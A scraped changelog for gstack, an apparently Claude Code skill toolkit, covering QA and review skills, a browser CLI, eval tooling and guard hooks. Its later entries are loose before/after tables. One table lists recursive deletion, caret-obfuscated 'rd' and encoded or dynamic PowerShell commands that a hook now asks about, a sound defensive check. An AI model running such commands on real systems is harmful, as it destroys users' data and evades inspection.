QA template cleaned up: removed REPORT_DIR shell variable, simplified port detection to prose.

gstack-upgrade template: explicit cross-step prose for variable references between bash blocks.

0.4.1. 2026-03-16

gstack now notices when it screws up. Turn on contributor mode (gstack-config set gstack_contributor true) and gstack automatically writes up what went wrong. what you were doing, what broke, repro steps. Next time something annoys you, the bug report is already written. Fork gstack and fix it yourself.

Juggling multiple sessions? gstack keeps up. When you have 3+ gstack windows open, every question now tells you which project, which branch, and what you were working on. No more staring at a question thinking "wait, which window is this?"

Every question now comes with a recommendation. Instead of dumping options on you and making you think, gstack tells you what it would pick and why. Same clear format across every skill.

/review now catches forgotten enum handlers. Add a new status, tier, or type constant? /review traces it through every switch statement, allowlist, and filter in your codebase. not just the files you changed. Catches the "added the value but forgot to handle it" class of bugs before they ship.

For contributors

Renamed {{UPDATE_CHECK}} to {{PREAMBLE}} across all 11 skill templates. one startup block now handles update check, session tracking, contributor mode, and question formatting.

DRY'd plan-ceo-review and plan-eng-review question formatting to reference the preamble baseline instead of duplicating rules.

Added CHANGELOG style guide and vendored symlink awareness docs to CLAUDE.md.

0.4.0. 2026-03-16

Added

QA-only skill (/qa-only). report-only QA mode that finds and documents bugs without making fixes. Hand off a clean bug report to your team without the agent touching your code.

QA fix loop. /qa now runs a find-fix-verify cycle: discover bugs, fix them, commit, re-navigate to confirm the fix took. One command to go from broken to shipped.

Plan-to-QA artifact flow. /plan-eng-review writes test-plan artifacts that /qa picks up automatically. Your engineering review now feeds directly into QA testing with no manual copy-paste.

{{QA_METHODOLOGY}} DRY placeholder. shared QA methodology block injected into both /qa and /qa-only templates. Keeps both skills in sync when you update testing standards.

Eval efficiency metrics. turns, duration, and cost now displayed across all eval surfaces with natural-language Takeaway commentary. See at a glance whether your prompt changes made the agent faster or slower.

generateCommentary() engine. interprets comparison deltas so you don't have to: flags regressions, notes improvements, and produces an overall efficiency summary.

Eval list columns. bun run eval:list now shows Turns and Duration per run. Spot expensive or slow runs instantly.

Eval summary per-test efficiency. bun run eval:summary shows average turns/duration/cost per test across runs. Identify which tests are costing you the most over time.

judgePassed() unit tests. extracted and tested the pass/fail judgment logic.

3 new E2E tests. qa-only no-fix guardrail, qa fix loop with commit verification, plan-eng-review test-plan artifact.

Browser ref staleness detection. resolveRef() now checks element count to detect stale refs after page mutations. SPA navigation no longer causes 30-second timeouts on missing elements.

3 new snapshot tests for ref staleness.

Changed

QA skill prompt restructured with explicit two-cycle workflow (find → fix → verify).

formatComparison() now shows per-test turns and duration deltas alongside cost.

printSummary() shows turns and duration columns.

eval-store.test.ts fixed pre-existing _partial file assertion bug.

Fixed

Browser ref staleness. refs collected before page mutation (e.g. SPA navigation) are now detected and re-collected. Eliminates a class of flaky QA failures on dynamic sites.

0.3.9. 2026-03-15

Added

bin/gstack-config CLI. simple get/set/list interface for ~/.gstack/config.yaml. Used by update-check and upgrade skill for persistent settings (auto_upgrade, update_check).

Smart update check. 12h cache TTL (was 24h), exponential snooze backoff (24h → 48h → 1 week) when user declines upgrades, update_check: false config option to disable checks entirely. Snooze resets when a new version is released.

Auto-upgrade mode. set auto_upgrade: true in config or GSTACK_AUTO_UPGRADE=1 env var to skip the upgrade prompt and update automatically.

4-option upgrade prompt. "Yes, upgrade now", "Always keep me up to date", "Not now" (snooze), "Never ask again" (disable).

Vendored copy sync. /gstack-upgrade now detects and updates local vendored copies in the current project after upgrading the primary install.

25 new tests: 11 for gstack-config CLI, 14 for snooze/config paths in update-check.

Changed

README upgrade/troubleshooting sections simplified to reference /gstack-upgrade instead of long paste commands.

Upgrade skill template bumped to v1.1.0 with Write tool permission for config editing.

All SKILL.md preambles updated with new upgrade flow description.

0.3.8. 2026-03-14

Added

TODOS.md as single source of truth. merged TODO.md (roadmap) and TODOS.md (near-term) into one file organized by skill/component with P0-P4 priority ordering and a Completed section.

/ship Step 5.5: TODOS.md management. auto-detects completed items from the diff, marks them done with version annotations, offers to create/reorganize TODOS.md if missing or unstructured.

Cross-skill TODOS awareness. /plan-ceo-review, /plan-eng-review, /retro, /review, and /qa now read TODOS.md for project context. /retro adds Backlog Health metric (open counts, P0/P1 items, churn).

Shared review/TODOS-format.md. canonical TODO item format referenced by /ship and /plan-ceo-review to prevent format drift (DRY).

Greptile 2-tier reply system. Tier 1 (friendly, inline diff + explanation) for first responses; Tier 2 (firm, full evidence chain + re-rank request) when Greptile re-flags after a prior reply.

Greptile reply templates. structured templates in greptile-triage.md for fixes (inline diff), already-fixed (what was done), and false positives (evidence + suggested re-rank). Replaces vague one-line replies.

Greptile escalation detection. explicit algorithm to detect prior GStack replies on comment threads and auto-escalate to Tier 2.

Greptile severity re-ranking. replies now include **Suggested re-rank:** when Greptile miscategorizes issue severity.

Static validation tests for TODOS-format.md references across skills.

Fixed

.gitignore append failures silently swallowed. ensureStateDir() bare catch {} replaced with ENOENT-only silence; non-ENOENT errors (EACCES, ENOSPC) logged to .gstack/browse-server.log.

Changed

TODO.md deleted. all items merged into TODOS.md.

/ship Step 3.75 and /review Step 5 now reference reply templates and escalation detection from greptile-triage.md.

/ship Step 6 commit ordering includes TODOS.md in the final commit alongside VERSION + CHANGELOG.

/ship Step 8 PR body includes TODOS section.

0.3.7. 2026-03-14

Added

Screenshot element/region clipping. screenshot command now supports element crop via CSS selector or @ref (screenshot "#hero" out.png, screenshot @e3 out.png), region clip (screenshot --clip x,y,w,h out.png), and viewport-only mode (screenshot --viewport out.png). Uses Playwright's native locator.screenshot() and page.screenshot({ clip }). Full page remains the default.

10 new tests covering all screenshot modes (viewport, CSS, @ref, clip) and error paths (unknown flag, mutual exclusion, invalid coords, path validation, nonexistent selector).

0.3.6. 2026-03-14

Added

E2E observability. heartbeat file (~/.gstack-dev/e2e-live.json), per-run log directory (~/.gstack-dev/e2e-runs/{runId}/), progress.log, per-test NDJSON transcripts, persistent failure transcripts. All I/O non-fatal.

bun run eval:watch. live terminal dashboard reads heartbeat + partial eval file every 1s. Shows completed tests, current test with turn/tool info, stale detection (>10min), --tail for progress.log.

Incremental eval saves. savePartial() writes _partial-e2e.json after each test completes. Crash-resilient: partial results survive killed runs. Never cleaned up.

Machine-readable diagnostics. exit_reason, timeout_at_turn, last_tool_call fields in eval JSON. Enables jq queries for automated fix loops.

API connectivity pre-check. E2E suite throws immediately on ConnectionRefused before burning test budget.

is_error detection. claude -p can return subtype: "success" with is_error: true on API failures. Now correctly classified as error_api.

Stream-json NDJSON parser. parseNDJSON() pure function for real-time E2E progress from claude -p --output-format stream-json --verbose.

Eval persistence. results saved to ~/.gstack-dev/evals/ with auto-comparison against previous run.

Eval CLI tools. eval:list, eval:compare, eval:summary for inspecting eval history.

All 9 skills converted to .tmpl templates. plan-ceo-review, plan-eng-review, retro, review, ship now use {{UPDATE_CHECK}} placeholder. Single source of truth for update check preamble.

3-tier eval suite. Tier 1: static validation (free), Tier 2: E2E via claude -p (~~$3.85/run), Tier 3: LLM-as-judge (~~$0.15/run). Gated by EVALS=1.

Planted-bug outcome testing. eval fixtures with known bugs, LLM judge scores detection.

15 observability unit tests covering heartbeat schema, progress.log format, NDJSON naming, savePartial, finalize, watcher rendering, stale detection, non-fatal I/O.

E2E tests for plan-ceo-review, plan-eng-review, retro skills.

Update-check exit code regression tests.

test/helpers/skill-parser.ts. getRemoteSlug() for git remote detection.

Fixed

Browse binary discovery broken for agents. replaced find-browse indirection with explicit browse/dist/browse path in SKILL.md setup blocks.

Update check exit code 1 misleading agents. added || true to prevent non-zero exit when no update available.

browse/SKILL.md missing setup block. added {{BROWSE_SETUP}} placeholder.

plan-ceo-review timeout. init git repo in test dir, skip codebase exploration, bump timeout to 420s.

Planted-bug eval reliability. simplified prompts, lowered detection baselines, resilient to max_turns flakes.

Changed

Template system expanded. {{UPDATE_CHECK}} and {{BROWSE_SETUP}} placeholders in gen-skill-docs.ts. All browse-using skills generate from single source of truth.

Enriched 14 command descriptions with specific arg formats, valid values, error behavior, and return types.

Setup block checks workspace-local path first (for development), falls back to global install.

LLM eval judge upgraded from Haiku to Sonnet 4.6.

generateHelpText() auto-generated from COMMAND_DESCRIPTIONS (replaces hand-maintained help text).

0.3.3. 2026-03-13

Added

SKILL.md template system. .tmpl files with {{COMMAND_REFERENCE}} and {{SNAPSHOT_FLAGS}} placeholders, auto-generated from source code at build time. Structurally prevents command drift between docs and code.

Command registry (browse/src/commands.ts). single source of truth for all browse commands with categories and enriched descriptions. Zero side effects, safe to import from build scripts and tests.

Snapshot flags metadata (SNAPSHOT_FLAGS array in browse/src/snapshot.ts). metadata-driven parser replaces hand-coded switch/case. Adding a flag in one place updates the parser, docs, and tests.

Tier 1 static validation. 43 tests: parses $B commands from SKILL.md code blocks, validates against command registry and snapshot flag metadata

Tier 2 E2E tests via Agent SDK. spawns real Claude sessions, runs skills, scans for browse errors. Gated by SKILL_E2E=1 env var (~$0.50/run)

Tier 3 LLM-as-judge evals. Haiku scores generated docs on clarity/completeness/actionability (threshold ≥4/5), plus regression test vs hand-maintained baseline. Gated by ANTHROPIC_API_KEY

bun run skill:check. health dashboard showing all skills, command counts, validation status, template freshness

bun run dev:skill. watch mode that regenerates and validates SKILL.md on every template or source file change

CI workflow (.github/workflows/skill-docs.yml). runs gen:skill-docs on push/PR, fails if generated output differs from committed files

bun run gen:skill-docs script for manual regeneration

bun run test:eval for LLM-as-judge evals

test/helpers/skill-parser.ts. extracts and validates $B commands from Markdown

test/helpers/session-runner.ts. Agent SDK wrapper with error pattern scanning and transcript saving

ARCHITECTURE.md. design decisions document covering daemon model, security, ref system, logging, crash recovery

Conductor integration (conductor.json). lifecycle hooks for workspace setup/teardown

.env propagation. bin/dev-setup copies .env from main worktree into Conductor workspaces automatically

.env.example template for API key configuration

Changed

Build now runs gen:skill-docs before compiling binaries

parseSnapshotArgs is metadata-driven (iterates SNAPSHOT_FLAGS instead of switch/case)

server.ts imports command sets from commands.ts instead of declaring inline

SKILL.md and browse/SKILL.md are now generated files (edit the .tmpl instead)

0.3.2. 2026-03-13

Fixed

Cookie import picker now returns JSON instead of HTML. jsonResponse() referenced url out of scope, crashing every API call

help command routed correctly (was unreachable due to META_COMMANDS dispatch ordering)

Stale servers from global install no longer shadow local changes. removed legacy ~/.claude/skills/gstack fallback from resolveServerScript()

Crash log path references updated from /tmp/ to .gstack/

Added

Diff-aware QA mode. /qa on a feature branch auto-analyzes git diff, identifies affected pages/routes, detects the running app on localhost, and tests only what changed. No URL needed.

Project-local browse state. state file, logs, and all server state now live in .gstack/ inside the project root (detected via git rev-parse --show-toplevel). No more /tmp state files.

Shared config module (browse/src/config.ts). centralizes path resolution for CLI and server, eliminates duplicated port/state logic

Random port selection. server picks a random port 10000-60000 instead of scanning 9400-9409. No more CONDUCTOR_PORT magic offset. No more port collisions across workspaces.

Binary version tracking. state file includes binaryVersion SHA; CLI auto-restarts the server when the binary is rebuilt

Legacy /tmp cleanup. CLI scans for and removes old /tmp/browse-server*.json files, verifying PID ownership before sending signals

Greptile integration. /review and /ship fetch and triage Greptile bot comments; /retro tracks Greptile batting average across weeks

Local dev mode. bin/dev-setup symlinks skills from the repo for in-place development; bin/dev-teardown restores global install

help command. agents can self-discover all commands and snapshot flags

Version-aware find-browse with META signal protocol. detects stale binaries and prompts agents to update

browse/dist/find-browse compiled binary with git SHA comparison against origin/main (4hr cached)

.version file written at build time for binary version tracking

Route-level tests for cookie picker (13 tests) and find-browse version check (10 tests)

Config resolution tests (14 tests) covering git root detection, BROWSE_STATE_FILE override, ensureStateDir, readVersionHash, resolveServerScript, and version mismatch detection

Browser interaction guidance in CLAUDE.md. prevents Claude from using mcp__claude-in-chrome__* tools

CONTRIBUTING.md with quick start, dev mode explanation, and instructions for testing branches in other repos

Changed

State file location: .gstack/browse.json (was /tmp/browse-server.json)

Log files location: .gstack/browse-{console,network,dialog}.log (was /tmp/browse-*.log)

Atomic state file writes: .json.tmp → rename (prevents partial reads)

CLI passes BROWSE_STATE_FILE to spawned server (server derives all paths from it)

SKILL.md setup checks parse META signals and handle META:UPDATE_AVAILABLE

/qa SKILL.md now describes four modes (diff-aware, full, quick, regression) with diff-aware as the default on feature branches

jsonResponse/errorResponse use options objects to prevent positional parameter confusion

Build script compiles both browse and find-browse binaries, cleans up .bun-build temp files

README updated with Greptile setup instructions, diff-aware QA examples, and revised demo transcript

Removed

CONDUCTOR_PORT magic offset (browse_port = CONDUCTOR_PORT - 45600)

Port scan range 9400-9409

Legacy fallback to ~/.claude/skills/gstack/browse/src/server.ts

DEVELOPING_GSTACK.md (renamed to CONTRIBUTING.md)

0.3.1. 2026-03-12

Phase 3.5: Browser cookie import

cookie-import-browser command. decrypt and import cookies from real Chromium browsers (Comet, Chrome, Arc, Brave, Edge)

Interactive cookie picker web UI served from the browse server (dark theme, two-panel layout, domain search, import/remove)

Direct CLI import with --domain flag for non-interactive use

/setup-browser-cookies skill for Claude Code integration

macOS Keychain access with async 10s timeout (no event loop blocking)

Per-browser AES key caching (one Keychain prompt per browser per session)

DB lock fallback: copies locked cookie DB to /tmp for safe reads

18 unit tests with encrypted cookie fixtures

0.3.0. 2026-03-12

Phase 3: /qa skill. systematic QA testing

New /qa skill with 6-phase workflow (Initialize, Authenticate, Orient, Explore, Document, Wrap up)

Three modes: full (systematic, 5-10 issues), quick (30-second smoke test), regression (compare against baseline)

Issue taxonomy: 7 categories, 4 severity levels, per-page exploration checklist

Structured report template with health score (0-100, weighted across 7 categories)

Framework detection guidance for Next.js, Rails, WordPress, and SPAs

browse/bin/find-browse. DRY binary discovery using git rev-parse --show-toplevel

Phase 2: Enhanced browser

Dialog handling: auto-accept/dismiss, dialog buffer, prompt text support

File upload: upload <sel> <file1> [file2...]

Element state checks: is visible|hidden|enabled|disabled|checked|editable|focused <sel>

Annotated screenshots with ref labels overlaid (snapshot -a)

Snapshot diffing against previous snapshot (snapshot -D)

Cursor-interactive element scan for non-ARIA clickables (snapshot -C)

wait --networkidle / --load / --domcontentloaded flags

console --errors filter (error + warning only)

cookie-import <json-file> with auto-fill domain from page URL

CircularBuffer O(1) ring buffer for console/network/dialog buffers

Async buffer flush with Bun.write()

Health check with page.evaluate + 2s timeout

Playwright error wrapping. actionable messages for AI agents

Context recreation preserves cookies/storage/URLs (useragent fix)

SKILL.md rewritten as QA-oriented playbook with 10 workflow patterns

166 integration tests (was ~63)

0.0.2. 2026-03-12

Fix project-local /browse installs. compiled binary now resolves server.ts from its own directory instead of assuming a global install exists

setup rebuilds stale binaries (not just missing ones) and exits non-zero if the build fails

Fix chain command swallowing real errors from write commands (e.g. navigation timeout reported as "Unknown meta command")

Fix unbounded restart loop in CLI when server crashes repeatedly on the same command

Cap console/network buffers at 50k entries (ring buffer) instead of growing without bound

Fix disk flush stopping silently after buffer hits the 50k cap

Fix ln -snf in setup to avoid creating nested symlinks on upgrade

Use git fetch && git reset --hard instead of git pull for upgrades (handles force-pushes)

Simplify install: global-first with optional project copy (replaces submodule approach)

Restructured README: hero, before/after, demo transcript, troubleshooting section

Six skills (added /retro)

0.0.1. 2026-03-11

Initial release.

Five skills: /plan-ceo-review, /plan-eng-review, /review, /ship, /browse

Headless browser CLI with 40+ commands, ref-based interaction, persistent Chromium daemon

One-command install as Claude Code skills (submodule or global clone)

setup script for binary compilation and skill symlinking

Measurement	Before	After
The five ledger files, 16-vCPU Ubicloud VM (`bun run test:ubicloud --diagnostic`)	197/200 reruns clean	600/600
The three git fixtures under commit load, local runner env	37/200 clean	200/200
Next-version smoke test, live GitHub calls	one `gh api` per open PR, one after another (27 PRs at 1.2 s: 32.6 s, past its 30 s limit)	none (runs in about 60 ms)
Weekly health: unseeded free test files	164 (enforced check failing)	0
Weekly health: Windows wall population	dispatch recordings on main ("n/a (0 runs)" on Oct 12)	78 successful PR runs, 9.2 min p50 (7 days to 2026-10-15)

Check	Before	After
Permission prompts for /autoplan's own files in the scripted live run (2.1.292, default settings)	2	0
Same, through `claude --bg` and `claude attach`	1	0
Outside PRs adopted in this release, rewritten with credit	0	34
Outside PRs closed by this thread, each with a specific reason	0	113 (46 already fixed or stale, 32 declined, 35 parked in TODOS.md)

Install	Before	After
Global Claude install (`./setup`)	632 `SKILL.md`, 34,738,066 bytes	63 `SKILL.md`, 2,520,330 bytes
Existing install upgraded, then `./setup`	632 `SKILL.md`, 34,738,066 bytes	63 `SKILL.md`, 2,520,330 bytes; 569 generated `SKILL.md` (36.3 MB with their other files) moved to the backup
Development checkout with `./setup --host codex`	632 `SKILL.md`, 34,738,066 bytes	119 `SKILL.md`, 5,772,984 bytes (Claude plus Codex)
Same checkout, `GSTACK_RENDER_HOSTS=all bun run build`	632	632; the next `./setup` prunes back to 119
`$GSTACK_ROOT` paths missing from the Codex runtime root	10 of 80	1 of 80 (`scripts/ship-measure.ts`, deferred)

Rails verification step	amd64	arm64
Offline preparation (each of the two phases)	3.3–3.5 min	6.8–8.5 min
Phase observation (boot, controls, tests)	8–10 s	14–26 s
Where the 900 s attempt ended	finished in about 8 min	killed during the second preparation, 3 of 3 arm64 reference repairs
Attempt bound	900 s	1,800 s, still cut to the run's reporting deadline

Check	Before	After
`scripts/build.sh` with a CSO publish failure injected	exit 86; no browse server bundle, no build stamp	exit 0; bundle and stamp written; failure recorded with stage and log
`./setup --host codex` with the same failure	stops (exit 86)	finishes; prints `CSO publish step failed (exit 86) ...; previous CSO kept: <revision>`
Same failure with `GSTACK_STRICT_BUILD=1`	exit 86	exit 1 with the reason (CI keeps catching regressions)
`browse --version`	started a browse server, then exited 1	prints the build hash, exits 0, starts nothing
`pdf --version` / `gstack-global-discover --version`	exit 1 (usage)	exit 0
Compiled binaries setup and `gstack-doctor` launch-check	0 of 5	5 of 5

`qa-quick`	Before (CI, 15 runs)	After (10 trials)
Passed	13 of 15	10 of 10
Pass duration, median (range)	252 s (206-280 s)	187 s (155-256 s)
Mean cost per trial	$1.75	$1.46
Runs with a failed `materialize` call	15 of 15	0 of 10

Check	Before	After
PowerShell tool: `Remove-Item -Recurse -Force C:\proj`, `rmdir /s /q C:\proj`	allowed (the hook never ran, and had no pattern)	ask, naming the matched pattern
Bash: `pwsh -c "Remove-Item -r -fo x"`, `cmd /c "rd /s /q x"`, `cmd //c "r^d /s /q x"`	allowed	ask
`-EncodedCommand`, `iex`, `Start-Process pwsh`, `& $cmd`, `[IO.Directory]::Delete`	allowed	ask, explaining that encoded or dynamic PowerShell can't be inspected
`NotebookEdit` on `/etc/x.ipynb` with `/freeze` set elsewhere	allowed	denied, naming the tool, `notebook_path`, the boundary and `/unfreeze`
Negative controls (`git branch -d`, `ord`, `--del`, a `/rd/` path, `Remove-Item x.txt`), on Bash and PowerShell	allowed	still allowed
New #3067 hook tests run against the old scripts	—	54 of 98 fail; the other 44 (controls and unchanged behavior) pass on both

Repository	Files	Tracked source	Before	After
sveltejs/svelte	9,182	6.9 MiB	refused (file list over 1 MiB)	audit starts; 2.8 MiB file list, 10 KB report
facebook/react	7,252	38.7 MiB	refused (file list over 1 MiB)	audit starts; 2.3 MiB file list, 53 KB report
laravel/framework	3,439	25.7 MiB	refused (file list over 1 MiB)	audit starts; 1.0 MiB file list, 30 KB report
django/django	7,085	44.0 MiB	refused (4 tracked symlinks)	refused (symlinks); starts once they are removed
rails/rails	5,007	38.1 MiB	refused (1 tracked symlink)	refused (symlink); starts once it is removed
hashicorp/terraform	5,562	25.6 MiB	refused (10 tracked symlinks)	refused (symlinks); starts once they are removed
grafana/grafana	23,749	210.7 MiB	refused (Git file listing over 1 MiB)	refused (symlinks); then the 64 MiB source cap
microsoft/vscode	20,238	540.0 MiB	refused (Git file listing over 1 MiB)	refused (symlink); then the 64 MiB source cap

Check	Before	After
Paired iPad on USB, no target set	refused ("not an iPhone")	bootstraps
iPhone and iPad both on USB, no target set	silently drives whichever devicectl listed first	stops and lists both UDIDs with a ready `export GSTACK_IOS_TARGET_UDID=...` line
One route drop during a session	1 `--terminate-existing` relaunch, in-app state lost	0 relaunches, state kept, same bearer
Three requests failing on the same drop	one bootstrap and one relaunch	one shared recovery, no relaunch
App that cannot write its boot token	silent; daemon relaunches it once, then `boot_token_unavailable` with no cause	`NOT READY` in the device log; daemon names the cause and does not relaunch

Check	Before	After
Two Python offline preparations of the same app	prepared dependency trees differ	0 differing files
One Rails offline preparation	about 245 s	unchanged
Rails verification attempt	ended by the 300 s watchdog during its second preparation	certifies within the 900 s bound
Helper SIGKILL during preparation or with the app running, then `resume` and `finish`	`preparation-execution` (and `archive-staging`) not empty	empty

Check	Before	After
Reviewer dispatches allowed in a default interactive session	0 (each denied, "retry")	all; the live PTY case logs 3 verified allows
Same, through `claude --bg` + `claude attach`	0	3 verified allows
Largest session journal the guard accepts	32 MiB	any size; only a single record over 32 MiB counts as too large
One guarded read of a 120 MiB journal (4 vCPU Linux, appending during the read)	refused	0.43-0.87 s, 170-235 MiB peak memory
Resumed 102 MiB session entering Phase 1	refused	allowed, in 70 s
Replay fixtures shaped like the reported timelines	3 of 28 pass (the controls)	28 of 28
Codex reviews listing 7 and 8 High/Medium findings	reported `VERDICT: clean`	reported as findings
Artifacts sync with one flagged file	nothing pushes, no notice	that file waits, the rest pushes, and every skill start says so

Case with true pass rate p	Clears the bar in one batch	Clears it with one extension (reds unqualified)	Clears it when every red qualifies
0.95 (healthy)	91.4%	95.9%	99.8%
0.90	73.6%	80.4%	97.2%
0.80 (flaky)	37.6%	40.8%	75.3%

Sweep, latest gate census	Value
Gate verdicts in the census	106
Predicted all-green probability from history	30.7%
Cases flagged (top 5 by cost to that probability)	87% to 91% per-trial pass rate each
Estimated cost to measure all 5 at 10 trials	about $76, under the $150 weekly cap

Check	v1.91.31.0	v1.91.32.0
`zsh -c 'source bin/gstack-codex-probe && _gstack_codex_select_model exec'`	`Module not found "/../scripts/..."`, `CODEX_MODEL: invalid`	`CODEX_MODEL: <model> (exec; source: ...)`
Greptile reply that quotes a commit SHA in backticks	posts "Fixed in ." and runs the SHA as a command	posts the text byte for byte
Codex usage-limit error at preflight	`MODEL_PROBE_INCONCLUSIVE ... proceeding`, re-probed in every skill	`CODEX_MODE: quota_exhausted` with Codex's reset line, cached 15 min
/autoplan in a 52 MiB session journal	`code identity`, "Retry this phase-entry tool" (forever)	`code too_large` with the size and a recovery that keeps the work
Weekly OSV scan	10 findings (3 High)	no unignored findings

Check	v1.91.19.0	v1.91.30.0
make-pdf blocks on Codex that use `$P` without finding it	7 of 8	0
/review with a read-only `.git` (Codex's sandbox)	prints nothing, "Nothing to review"	reviews against the local base, says `stale at <rev>`
`./setup` with Bun 1.3.2	installs; compiled tools read the project's `.env`	refused before writing anything
Census cost line when billing was not captured	`$0.00`	known sum plus "N of M trial(s) cost unknown"
plan-mode-no-op recorded wall (census 37151477069)	346 s (its test times summed)	176 s (the shard's wall)
Gate census slowest slice, replanned with measured walls (census 37198445662)	~677 s	<=539 s planned

Check	v1.91.22.0	v1.91.24.0
Paid CI job ceiling (gate census / periodic)	254 / 173 min for every slice	34-82 min per slice; 50 min for ordinary periodic slices
Local `eval:bg:pr` / `eval:bg:release` detach cap	25.8 h / 32.4 h	2.9 h / 2.25 h (1.5× planned work, never over 4 h)
Passing results a cancelled PR run hands to the next push	0	every finished shard, failures included
A branch dispatch that cancels main's weekly census	possible	no (concurrency is per ref and event)
Windows free lane wall	8.1 min on one runner	about 4.6 min on six runners
Windows-safe files the curated lane runs	573	638
zsh arms of the bash+zsh portability tests in CI	~42 skipped (no zsh)	all run
Free-suite flaky passes reported anywhere	none (a write-only artifact)	job summary + weekly `test:health`
Sentence pins on skill prose in free tests	2,332	1,190

Retired	Use instead
`test:evals`, `test:e2e`, `eval:bg`	`bun run eval:bg:pr`
`test:evals:all`, `test:e2e:all`, `eval:bg:all`	`bun run eval:bg:release`
`test:gate` / `test:periodic`	`bun run test:gate:sharded` / `test:periodic:sharded`
`test:codex`, `test:codex:all`	`bun run test:periodic:sharded` (they ran zero cases)
`eval:flake-rank`	`bun run eval:pass-rates`
`eval:watch`	tail the `gstack-detach` log, or `gh run watch <run-id>`
`test:audit`	`bun run test`

Check	Result
Attested images (6 scanners x 2 platforms + generator) verified with gstack's own `gh attestation verify` flags	13/13, both predicates
Statement-set digests recomputed with `scripts/cso-attestation-evidence.ts`	26/26 equal
Offline asset hashes recomputed from both platforms with `hash-asset`	6/6 equal
Scanners completing a real network-none scan through the production adapter on the published amd64 bases	6/6, no coverage gaps

Check	v1.91.16.0	v1.91.19.0
Codex review in a container with no user namespaces	gate `pass` on "no findings"	`unavailable`, missing coverage
Structured outside review with a `[P0]` finding	gate `pass`	gate `fail`
Generated bash blocks on env-var hosts that use a gstack path without finding gstack (`test/env-host-fence-conformance.test.ts`)	hundreds	0
Codex `/ship` SKILL.md	202-241 KB, ~57K tokens	carved, ~20K tokens
Redaction warnings on one rendered `/diagram` (SVG + .excalidraw)	115	0
A transcript gbrain skipped during import	stamped as saved	retried until gbrain has it

Measure	Before	After
Weekly periodic census wall clock	2h 45m	11m 42s (gate census alongside: 10m 22s)
Longest planned slice	160 min (one test, twice)	~10 min
Automatic retries on paid evals	up to 2 per file	0
Product-code type errors	103 on v1.91.8.0 (no check)	0, required in `free-tests`
`lib/cso` longest source line	2,159 chars	785 (a string literal)

2.1 MiB Raw Blame History Unescape Escape

Changelog

[Unreleased]

Changed

Tests

[1.91.299.0] - 2026-10-28

Fixed

Tests

[1.91.298.0] - 2026-10-28

Removed

Tests

[1.91.297.0] - 2026-10-28

Fixed

Tests

Gate integrity

[1.91.296.0] - 2026-10-28

Fixed

Tests

Gate integrity

[1.91.295.0] - 2026-10-28

Fixed

Changed

Gate integrity

[1.91.294.0] - 2026-10-28

Changed

Tests

Gate integrity

[1.91.293.0] - 2026-10-28

Fixed

Docs

Tests

[1.91.292.0] - 2026-10-28

Added

Changed

[1.91.291.0] - 2026-10-28

Added

Changed

Gate integrity

[1.91.290.0] - 2026-10-28

Added

Changed

Removed

Fixed

Tests

Docs

[1.91.289.0] - 2026-10-28

Changed

Tests

Gate integrity

[1.91.288.0] - 2026-10-28

Added

Changed

[1.91.287.0] - 2026-10-28

Added

Changed

Fixed

[1.91.286.0] - 2026-10-28

Changed

Added

Fixed

Tests

Docs

Gate integrity

[1.91.285.0] - 2026-10-27

Added

Changed

Tests

[1.91.284.0] - 2026-10-27

Added

Tests

Gate integrity

[1.91.283.0] - 2026-10-27

Fixed

[1.91.282.0] - 2026-10-27

Fixed

Tests

Docs

Gate integrity

[1.91.281.0] - 2026-10-27

Fixed

2.1 MiB

Raw Blame History

Hotspot	Before	After
Code files with a hand-rolled `${GSTACK_*:-…}` chain	48	2 (the bash owner and one allowlisted partial-upgrade fallback)
`browse/src/server.ts` lines (`buildFetchHandler` alone)	3,464 (1,560)	2,224 (~350)
`test/helpers/claude-pty-runner.ts` lines	5,047	30 (barrel over `test/helpers/pty/*`)
`scripts/resolvers/review.ts` lines	1,921	removed (5 modules, largest 771)
Shard spawn/kill/sandbox implementations	2	1 (`scripts/lib/shard-engine.ts`)

Measure	Before (v1.91.6.0)	After
Tracked test files	1,184	957
Test-file lines (all `*.test.ts`)	279,640	244,504
`test/` TypeScript lines (tests + helpers)	274,208	227,713
`test/helpers` lines	51,390	39,427
`test/fixtures` bytes	16.3 MB	9.7 MB
Free suite files / passing tests (Ubicloud standard-16)	1,065 / 27,331	857 / 20,302
Free suite serial seconds (recorded durations, same machine class)	1,888	1,738
Paid files / gate-lane files / periodic files	119 / 58 / 100	100 / 42 / 69
Weekly gate-census files	58	41 (LLM judges run in the periodic and PR lanes)
Weekly periodic shard-minutes spent on files this release removes (09-21 run)	235 of 462	0

Workload	Before	After	Δ
Nine synthetic-terminal test files	165.87s	72.98s	−56%
Publication polling and watchdog tests	56.57s	9.63s	−83%
Two independent-question test files	325.09s	136.40s	−58%

Metric	Before	After	Δ
Dedicated recent-work shared-code audit skills	0	1	+1
Parent reviews using the shared-code rubric	0	2	+2
Generated catalog name and description bytes	4,593	4,675	+82

Test file	Before	After	Δ
`browse/test/bun-polyfill.test.ts`	17.30s	1.29s	−93%
`design/test/daemon-discovery.test.ts`	17.78s	11.99s	−33%
`test/plan-count-file-permission.test.ts`	97.05s	30.92s	−68%

Metric	Before	After	Δ
Reported checker exit status	0	2	+2
Type errors available for scoring	0	60	+60
Displayed checker log lines	50	50	0

Cases incorrectly graded CURRENT	Before	Δ
Mid-review edits: tracked and untracked source	2	-2
Log-only result without a captured review start	1	-1
Codex advisory findings: none or only some resolved	2	-2

Metric	Before	After	Δ
Isolation suite cases passing	3 of 9	9 of 9	+6
Isolation suite cases failing	6 of 9	0 of 9	-6
Headed startup controls passing	2 of 2	2 of 2	Unchanged

Check	Before	After	Δ
Unsuppressed OSV findings	2	0	-2
Security regression checks passing	1/6	6/6	+5
Destination-symlink escape cases rejected	0/2	2/2	+2

Metric	Before	After	Δ
Deterministic checks in a design review	0	61 rules (impeccable's engine, one consented download away)	evidence before judgment
Places the AI-slop vocabulary lived	4 files, drifting	1 typed catalog, 86 entries (57 slop, 29 quality)	`review/design-checklist.md` is generated from it
Skills that run the detector	0	4 (`/design-review`, `/design-html`, `/review`, `/ship`)	same rule ids everywhere
What a scan can read	source files	source files or the rendered DOM of a live URL	works on deployed sites
DESIGN.md format gstack writes	private schema	open DESIGN.md spec	impeccable and Stitch read it
New `test()` declarations (platform-gated ones included)		194 across 11 files	free suite: 9,206 tests, 12/12 paid E2E